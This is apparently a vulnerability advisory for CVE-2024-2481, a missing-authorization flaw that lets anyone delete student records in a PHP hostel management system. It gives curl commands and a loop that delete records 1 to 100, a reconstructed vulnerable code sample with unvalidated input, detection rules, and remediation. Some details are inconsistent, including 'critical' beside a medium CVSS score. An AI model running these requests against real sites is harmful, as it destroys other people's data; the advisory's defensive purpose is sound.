CVE-2024-2481

Executive Summary

CVE-2024-2481 is a critical improper access control vulnerability in Surya2Developer Hostel Management System 1.0. The flaw resides in the /admin/manage-students.php endpoint, where the del parameter is not properly validated, allowing an unauthenticated remote attacker to delete student records without authorization. The exploit has been publicly disclosed, increasing the risk of active exploitation. No patch is available from the vendor, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public PoC makes it a high-priority target for threat actors.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability allows unauthorized deletion of student records, impacting data integrity and availability. The public exploit increases the threat, but the low EPSS score suggests limited active exploitation.

Deep Dive & Mechanics

The vulnerability is a classic improper access control (CWE-284) in the manage-students.php script. The application fails to enforce authentication or authorization checks before processing the del parameter. An attacker can send a GET or POST request to /admin/manage-students.php?del=<student_id> to delete a student record from the database. The lack of session validation or CSRF token means any remote user can trigger this action.

Root Cause: The code likely uses a direct SQL DELETE query without verifying the user's role or session. For example:

$id = $_GET['del'];
mysqli_query($conn, "DELETE FROM students WHERE id = $id");

No authentication check is performed before the deletion.

Vulnerable vs. Patched Code

Vulnerable Code (Surya2Developer Hostel Management System 1.0):

<?php
// manage-students.php
if(isset($_GET['del'])){
    $id = $_GET['del'];
    $query = "DELETE FROM students WHERE id = $id";
    mysqli_query($conn, $query);
    header("Location: manage-students.php");
}
?>

Patched Code (Hypothetical):

<?php
session_start();
if(!isset($_SESSION['admin_logged_in']) || $_SESSION['admin_logged_in'] !== true){
    header("Location: login.php");
    exit();
}
if(isset($_GET['del']) && is_numeric($_GET['del'])){
    $id = intval($_GET['del']);
    $stmt = $conn->prepare("DELETE FROM students WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
    header("Location: manage-students.php");
}
?>

The patched version adds session authentication, input validation, and prepared statements.

Exploitation & Lab Setup

Red Team

Exploit PoC:

curl -X GET "http://target.com/admin/manage-students.php?del=1"

This deletes the student with ID 1. To enumerate valid IDs, use a simple loop:

for i in $(seq 1 100); do
    curl -s -o /dev/null -w "%{http_code}" "http://target.com/admin/manage-students.php?del=$i"
done

Lab Setup:

1. Download Hostel Management System 1.0 from Surya2Developer (if available).
2. Install on a local LAMP stack (PHP 7.4+, MySQL 5.7+).
3. Access /admin/manage-students.php and test the exploit.

Blue Team

Detection:

• Monitor HTTP requests to /admin/manage-students.php with a del parameter.
• Alert on multiple deletion requests in a short time window.
• Check for missing Referer header or unusual User-Agent strings.

Honeypot:

• Deploy a fake /admin/manage-students.php endpoint that logs all requests and blocks IPs after 3 attempts.

Indicators of Compromise (IOCs)

• Network: HTTP GET/POST requests to /admin/manage-students.php?del=<number>
• Logs: Apache/Nginx access logs showing GET /admin/manage-students.php?del=1 with 200 response.
• Database: Missing student records without corresponding admin actions.
• File: No file-based IOCs; purely application-level.

Detection Engineering

YARA Rule

rule CVE_2024_2481_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-2481 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2481"
    strings:
        $pattern1 = "/admin/manage-students.php?del=" ascii wide nocase
        $pattern2 = "del=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2481 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable manage-students.php endpoint with del parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/manage-students.php?del='
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2481 Exploit Attempt"; flow:to_server; content:"/admin/manage-students.php"; http_uri; content:"del="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block /admin/manage-students.php via web server config.
2. Implement authentication: Add session checks before any delete operation.
3. Input Validation: Ensure del parameter is numeric and sanitized.
4. Web Application Firewall (WAF): Create rules to block requests with del parameter in /admin/manage-students.php.

Long-term:

• Replace the application with a maintained alternative.
• Conduct a full security audit of the codebase.
• Monitor for vendor updates (unlikely).

Workaround:

• Use .htaccess to restrict access:

<Files "manage-students.php">
    Require ip 192.168.1.0/24
</Files>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert